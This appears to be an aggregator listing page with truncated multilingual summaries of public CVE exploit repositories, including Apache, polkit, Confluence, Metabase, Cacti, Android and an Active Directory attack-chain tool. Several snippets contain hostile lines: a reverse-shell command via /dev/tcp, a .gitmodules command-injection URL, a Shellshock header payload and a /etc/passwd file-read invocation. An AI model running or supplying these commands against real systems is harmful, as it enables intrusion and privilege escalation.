CVE-2023-51385_test

Проверка CVE-2023-51385 Сначала нужно добавить следующее в /.ssh/config root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p В операторе файла .gitmodules есть инъекция команд root@kitploit: url = ssh://echo helloworld cve.txtfoo.example.com/bar После...

CVE-2021-41277

CVE-2021-41277 Inclusion de fichier local via la carte GeoJSON de Metabase Version : x.40.0-x.40.4 Utilisation : root@kitploit: chmod -x CVE-2021-41277.sh ./CVE-2021-41277.sh http://ip:port/ /etc/passwd Références https://vulners.com/cve/CVE-2021-41277...

CVE-2021-22204

CVE-2021-22204 Resumen del CVE La desinfección inadecuada de los datos del usuario en el formato de archivo DjVu en ExifTool versiones 7.44 y posteriores permite la ejecución de código arbitrario al analizar la imagen maliciosa. Versiones afectadas Versión 7.44 - 12.23 Anomalías Dependencias:...

CVE-2020-8813

CVE-2020-8813 Cacti v1.2.8 - Exécution de code à distance non authentifiée Utilise Python 3 Exécution sans Docker : root@kitploit: git clone https://github.com/hexcowboy/CVE-2020-8813.git && cd CVE-2020-8813 python3 -m venv env && source env/bin/activate pip install -r requirements.txt python...

CVE-2021-27850_POC

CVE-2021-27850 익스플로잇 개요 CVE-2021-27850은 Apache Tapestry의 모든 최신 버전에서 발견된 중요한 인증되지 않은 원격 코드 실행 취약점입니다. AppModule.class 파일을 다운로드함으로써 Apache Tapestry에서 모든 직렬화된 객체에 서명하는 데 사용되는 HMAC 비밀 키를 유출할 수 있습니다. 우리는 실제 평가에서 이 CVE를 발견했습니다. 제가 아는 한 Tapestry가 직렬화된 객체에 서명하는 방법에 대한 공개적인 익스플로잇이 없었기 때문에, 오랜 시간 Apache...

CVE-2024-0044-EXP

CVE-2024-0044-EXP Использует CVE-2024-0044 для повышения привилегий в Android, чтобы загружать файлы песочницы любого целевого приложения. Использование root@kitploit: ./CVE-2024-0044.sh Параметры root@kitploit: Путь к любому локальному файлу APK Имя пакета целевого приложения Пример root@kitploi...

CVE-2026-32743-PX4-Autopilot-MavlinkLogHandler-Stack-Buffer-Overflow-DoS-

CVE-2026-32743 - Переполнение буфера стека в MavlinkLogHandler автопилота PX4 DoS -orange -blue 📜 Описание CVE-2026-32743 — это переполнение буфера стека в MavlinkLogHandler автопилота PX4 версий ≤1.17.0-rc2. Буфер LogEntry.filepath имеет размер всего 60 байт , но sscanf разбирает пути к каталога...

ad-autopwn

AD AutoPwn ゼロ認証からドメイン管理者へ — 自動化されたActive Directory攻撃チェーン 完全自動化されたペネトレーションテストツール。25以上の攻撃テクニックを連鎖させ、Active Directory環境を侵害します。許可されたセキュリティ評価用に設計されています。 root@kitploit: /\ | \ /\ | | | \ / | | | / \ || | / \ /\ V V / ' \ // \/ // \,|\/| //|||| ⚡ Zero-Auth to Domain Admin — Attack Chain Discover |...

CVE-2021-25646

usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd Обратный шелл выглядит следующим образом: Записать скрипт обратного шелла python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" Дать права на выполнение скрипта python3 CVE-2021-25646.py -u...

cve-2024-3094-detect

CVE-2024-3094-detect Script de vérification et de rétrogradation des vulnérabilités XZ Utils Ce script est conçu pour vérifier la version de XZ Utils installée sur votre système Linux et la rétrograder vers une version sûre si nécessaire. Il détecte également la distribution Linux et le...

CVE-2022-22963

CVE-2022-22963 CVE-2022-22963 Воспроизведение уязвимости Spring-Cloud-Function-SpELRCE Требуется среда Docker. Способ 1 запуска уязвимой среды root@kitploit: git clone https://github.com/RanDengShiFu/CVE-2022-22963.git;cd CVE-2022-22963;bash Start.sh Способ 2 запуска уязвимой среды root@kitploit:...

Laravel-debug-Checker

Laravel-debug-Checker Чекер CVE-2021-3129 от ./MrMad Ссылка : https://pentest-tools.com/blog/exploit-rce-vulnerability-laravel-cve-2021-3129 установка модуля root@kitploit: python -m pip install -r requirements.txt установка на linux root@kitploit: git clone...

Rainstorm

BadBash — это инструмент эксплуатации RCE CVE-2014-6271. Базовая версия только проверяет HTTP CGI сайт и предоставляет обратную оболочку netcat на порту 1234. Разработчик : Andy Yang Версия : 0.1.0 Лицензия : GPLv3...

CVE-2021-41773

Apache HTTP Server 2.4.49 - Обход пути и удаленное выполнение кода RCE Эксплойт исправленная версия Описание Это эксплойт для уязвимости Apache HTTP Server 2.4.49, идентифицированной как CVE-2021-41773. Оригинальная версия эксплойта, опубликованная на Exploit-DB, содержала синтаксические ошибки и...

CVE-2021-4034

CVE-2021-4034 Un jour pour l'exploit d'élévation de privilèges polkit Exécutez simplement make, ./cve-2021-4034 et profitez de votre shell root. L'avis original par les véritables auteurs est ici PoC Si l'exploit fonctionne, vous obtiendrez immédiatement un shell root : root@kitploit:...

CVE_2022_38181_Raven

FireTV 2세대 Cube용 CVE-2022-38181 익스플로잇 이 프로젝트는 보안 연구원 Man Yue Mo의 Pixel 6 POC for CVE202238181를 포크한 것입니다. 취약점에 대한 자세한 분석은 여기에서 확인할 수 있습니다. FireOS의 32비트 사용자 공간과 2세대 Cube의 구형 Bifrost 드라이버r16p0 및 Linux 커널4.9.113 버전을 반영하여 변경되었습니다. 이 POC는 ARM Mali 커널 드라이버의 버그를 악용하여 임의의 커널 코드 실행을 달성한 후 SELinux를 비활성화하고 루...

CVE_2022_46395_Raven

Эксплойт для CVE-2022-46395 для FireTV 2nd gen Cube Это форк POC для Pixel 6 от исследователя безопасности Man Yue Mo для CVE-2022-46395. Прочитайте его подробное описание уязвимости здесь. Были внесены изменения с учётом 32-битного пользовательского пространства FireOS. POC использует ошибку в...

docker_CVE-2014-6271.

dockerCVE-2014-6271. 1. docker build -t DOCKERIMAGENAME /path/to/dockerfiledirectory 2. docker run -it -d -p 8080:80 DOCKERIMAGENAME 3. проверьте выполнение с помощью: docker ps 4. проверьте работу веб-сервера: http://localhost:8080 5. эксплуатируйте уязвимость : curl -H "user-agent: :; ; echo;...

cve-2019-3396

Неавторизованное внедрение шаблона в Confluence CVE-2019-3396 I Сборка Эта ошибка возникает в следующих версиях: Все версии 1.x.x, 2.x.x, 3.x.x, 4.x.x и 5.x.x Все версии 6.0.x, 6.1.x, 6.2.x, 6.3.x, 6.4.x и 6.5.x Все версии 6.6.x до 6.6.12 Все версии 6.7.x, 6.8.x, 6.9.x, 6.10.x и 6.11.x Все версии...

CVE-2023-0386

typora-copy-images-to: ./image CVE-2023-0386 Использование эксплойта: Первое : Загрузите fuse.c и exp.sh в каталог /tmp. Вы можете использовать scp или python3 -m http.server для загрузки файла на цель. root@kitploit: scp /Desktop/CVE-2023-0386/exp.sh [email protected]:/tmp scp...